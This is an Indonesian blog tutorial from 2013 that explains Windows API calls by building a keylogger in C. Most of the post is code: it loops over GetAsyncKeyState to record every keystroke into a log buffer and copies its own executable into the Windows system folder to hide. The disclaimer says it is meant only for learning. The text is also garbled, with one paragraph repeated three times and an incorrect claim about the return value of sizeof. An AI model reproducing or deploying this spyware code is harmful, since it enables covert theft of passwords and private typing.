Nilai balik fungsi ini akan memberikan nilai sesuaidengan panjang Direktori system tsb. Contoh :int i;char j[256];i = GetSystemDirectory(j,sizeof(j));misal j bermuatan = "F:\Windows\System32"maka i == sizeof(j) == 19- GetAsyncKeyState(Uint var)Adalah fungsi yang akan mengembalikan nilai -32767 bila var bernilaikode ascii yang benar/valid. Contoh :if(GetAsyncKeyState(i)==-32767)printf("OK");maka bila kita ketik apa saja di keyboard maka akan mencetak OK"di layar.- GetKeyState(Uint var)Adalah fungsi yang hampir sama dgn GetAsyncKeyState hanya saja akanmengembalikan nilai 1 bila var bernilai benar/valid. Fungsi ini akanmengecek kondisi dari abjad yang diketikkan apakah huruf KAPITAL(VK_CAPITAL) yakni tombol CAPSLOCK ditekan atau tidak.Contoh :if(GetKeyState(VK_CAPITAL))printf("KAPITAL");maka bila kita menekan tombol CAPSLOCK maka akan mencetak"KAPITAL" di layar. Lalu bagaimana kita menggunakan fungsi-fungsi API diatas? Dalam bhs
Jumat, 29 November 2013
Fungsi Windows API
Penulis tidak bertanggung jawab
atas akibat atau dampak yang disebabkan olehpenggunaan materi dari tutorial
ini. Tujuan penulis hanya ingin menyampaikanmateri kepada pihak-pihak yang
bertanggung jawab dan "Want to learn", tidakkepada pihak-pihak yang ingin
merugikan orang lain.Intro API
atau Application Programming Interface merupakan fungsi-fungsi
Eksternal yang terdapat dalam
file-file perpustakaan Windows (LibraryWindows) atau file library
lainnya yang dapat dimanfaatkan oleh aplikasi. File Lib (Library) ini terdapat
di Folder system Windows(C:\Windows\System32).
Penggunaannya dalam sebuah aplikasiharuslah dideklarasikan terlebih
dahulu di Source Code aplikasi.Tujuan Penggunaan Kadang
kita berpikir "Gimana sih aplikasi kita biar bisa nyatet ketikan
keyboard?" atau "Gimana
sih aplikasi kita bisa nyari folder systemwindust(Baca:Windows) secara
otomatis tanpa kita kasi tahu pathnyaterlebih dahulu?",
jawabannya adalah dengan menggunakan fungsifungsiAPI yang ada. Dibuat dari bahasa
apakah Fungsi API itu? Padapermulaannya API ditulis dengan
bhs C/C++ lalu pemanfaatannyasangatlah luas oleh bhs program
lain (VB, DELPHI, Dll) yang tentunyamemerlukan suatu konversi
terhadap pendeklarasiannya.Tools atau Softwarez dan Skill
yang diperlukan Setidaknya
anda telah belajar menggunakan ataupun membuat suatu
aplikasi dengan VB (Visual Basic)
atau DELPHI ataupun C/C++.Softwarez : M$ Visual Basic
5.0/6.0, DELPHI, M$ Visual C++ 6.0 ataucompiler C/C++ yang lain Tools
: API Text Viewer
Tutorial Sebagai
contoh akan saya berikan suatu Aplikasi Keylogger (Aplikasi
yang mencatat Ketikan keyboard
lalu menyimpannya ke File .log) denganbhs C. Fungsi API yang akan
digunakan adalah :- GetSystemDirectory(LPSTR
lpBuffer,Uint uSize)Adalah Fungsi API yang akan
mencari Folder/Direktori System WindustDimana LPSTR lpBuffer adalah
variabel dengan tipe data char[256] danUint uSize adalah variabel dengan
tipe data Integer dengan nilaisizeof(lpBuffer).
Nilai balik fungsi ini akan memberikan nilai sesuaidengan panjang Direktori system tsb. Contoh :int i;char j[256];i = GetSystemDirectory(j,sizeof(j));misal j bermuatan = "F:\Windows\System32"maka i == sizeof(j) == 19- GetAsyncKeyState(Uint var)Adalah fungsi yang akan mengembalikan nilai -32767 bila var bernilaikode ascii yang benar/valid. Contoh :if(GetAsyncKeyState(i)==-32767)printf("OK");maka bila kita ketik apa saja di keyboard maka akan mencetak OK"di layar.- GetKeyState(Uint var)Adalah fungsi yang hampir sama dgn GetAsyncKeyState hanya saja akanmengembalikan nilai 1 bila var bernilai benar/valid. Fungsi ini akanmengecek kondisi dari abjad yang diketikkan apakah huruf KAPITAL(VK_CAPITAL) yakni tombol CAPSLOCK ditekan atau tidak.Contoh :if(GetKeyState(VK_CAPITAL))printf("KAPITAL");maka bila kita menekan tombol CAPSLOCK maka akan mencetak"KAPITAL" di layar. Lalu bagaimana kita menggunakan fungsi-fungsi API diatas? Dalam bhs
C/C++ kita dapat langsung
menggunakannya tanpa perlu dideklarasikanterlebih dahulu. Sedangkan untuk
Visual Basic atau DELPHI harusdideklarasikan di bagian General.
Contoh (Dalam Visual BAsic 6.0) :(General)Private Declare Function
GetAsyncKeyState Lib "user32" (ByVal vKey As Long)As IntegerSebagaimana kita dapat lihat
fungsi API GetAsyncKeyState tersebutmenggunakan library
"user32" dan nilai baliknya adalah tipr data Integer.Sedangkan implementasinya pada
program keylogger kita adalah sebagaiberikut : Penggunaan
GetAsyncKeyState() :
----------------potong di
sini-------------------while(1) //Perulangan tak hingga
(Infinite Loop){for(j=8;j<=255;j++)
//perulangan sesuai dengan ASCII (dimulai dari ASCII 8){if (GetAsyncKeyState(j)==-32767)
//Fungsi API, nilai balik = -32767 bilaASCII valid{if (j==8) //dimana j adalah var
intcatat("[del]");
//masukkan ke fungsi catat()if (j==13)catat("[enter]");if (j==32)catat("[space]");if(j==VK_CAPITAL)catat("[CapitalLetters]");if (j==VK_TAB)catat("[TAB]");if (j ==VK_SHIFT)catat("[SHIFT]");if (j ==VK_CONTROL)catat("[CTRL]");if (j ==VK_PAUSE)catat("[PAUSE]");if (j ==VK_KANA)catat("[Kana]");if (j ==VK_ESCAPE)catat("[ESC]");if (j ==VK_END)catat("[END]");if (j ==VK_HOME)catat("[HOME]");if (j ==VK_LEFT)catat("[LEFT]");if (j ==VK_UP)catat("[UP]");if (j ==VK_RIGHT)catat("[RIGHT]");if (j ==VK_DOWN)catat("[DOWN]");if (j ==VK_SNAPSHOT)catat("[PRINT]");if (j ==VK_NUMLOCK)catat("[NUM LOCK]");if (j ==190 || j==110)catat(".");if (j >=96 && j <=
105) //periksa apakah yg ditekan adalah numerikkey{j = j - 48;teks[x]=j; //teks adalah char
teks[5000]x++; //var x digunakan untuk
pengaturan string dalam arrayteks}if (j >=48 && j <=
59) //periksa apakah yg ditekan adalah numerikkey di numpad{teks[x]=j;x++;}if (j !=VK_LBUTTON || j
!=VK_RBUTTON){if (j >=65 && j
<=90) //{if (GetKeyState(VK_CAPITAL))
//fungsi API GetKeyState()catat(&j);else{j = j +32; //mencatat alfabet
kecil (non-kapital)teks[x]=j;x++;}}}}}}int catat(char *tamp2) //fungsi
untuk memasukkan string ke dalam array teks{sprintf(tamp,"%s",tamp2);strcat(teks,tamp);x=x+strlen(tamp);}----------------potong di
sini-------------------$>Penggunaan
GetSystemDirectory() :----------------potong di
sini-------------------m=GetSystemDirectory(s,255); //m adalah
var integer yang akan berisi panjang daripath folder System Windustif(m!=0) //Cek apakah m tidak
sama dengan 0strcat(dir,s); //memasukkan path
dari folder system ke var char dir[256]y=CopyFile(argv[0],(strcat(dir,"coba.exe")),TRUE)
// copy file kita ke folder windust,jika berhasil y akan bernilai
TRUE----------------potong di
sini------------------- Potongan
Source Code diatas belumlah optimal, dikarenakan masih
menggunakan statement-statement
yang sama berulang kali. Lalubagaimana dengan fungsi API yang
lain? MAsih banyak fungsi-fungsiAPI yang lain seperti
keybd_event, SetActiveWindow, LoadAcceleratorsdan lain-lain. Tetapi karena
keterbatasan waktu dan tempat saya tidakbisa menjabarkan satu persatu, mungkin
pada kesempatan yang lain.
Nilai balik fungsi ini akan memberikan nilai sesuaidengan panjang Direktori system tsb. Contoh :int i;char j[256];i = GetSystemDirectory(j,sizeof(j));misal j bermuatan = "F:\Windows\System32"maka i == sizeof(j) == 19- GetAsyncKeyState(Uint var)Adalah fungsi yang akan mengembalikan nilai -32767 bila var bernilaikode ascii yang benar/valid. Contoh :if(GetAsyncKeyState(i)==-32767)printf("OK");maka bila kita ketik apa saja di keyboard maka akan mencetak OK"di layar.- GetKeyState(Uint var)Adalah fungsi yang hampir sama dgn GetAsyncKeyState hanya saja akanmengembalikan nilai 1 bila var bernilai benar/valid. Fungsi ini akanmengecek kondisi dari abjad yang diketikkan apakah huruf KAPITAL(VK_CAPITAL) yakni tombol CAPSLOCK ditekan atau tidak.Contoh :if(GetKeyState(VK_CAPITAL))printf("KAPITAL");maka bila kita menekan tombol CAPSLOCK maka akan mencetak"KAPITAL" di layar. Lalu bagaimana kita menggunakan fungsi-fungsi API diatas? Dalam bhs
Langganan:
Posting Komentar (Atom)
Tidak ada komentar:
Posting Komentar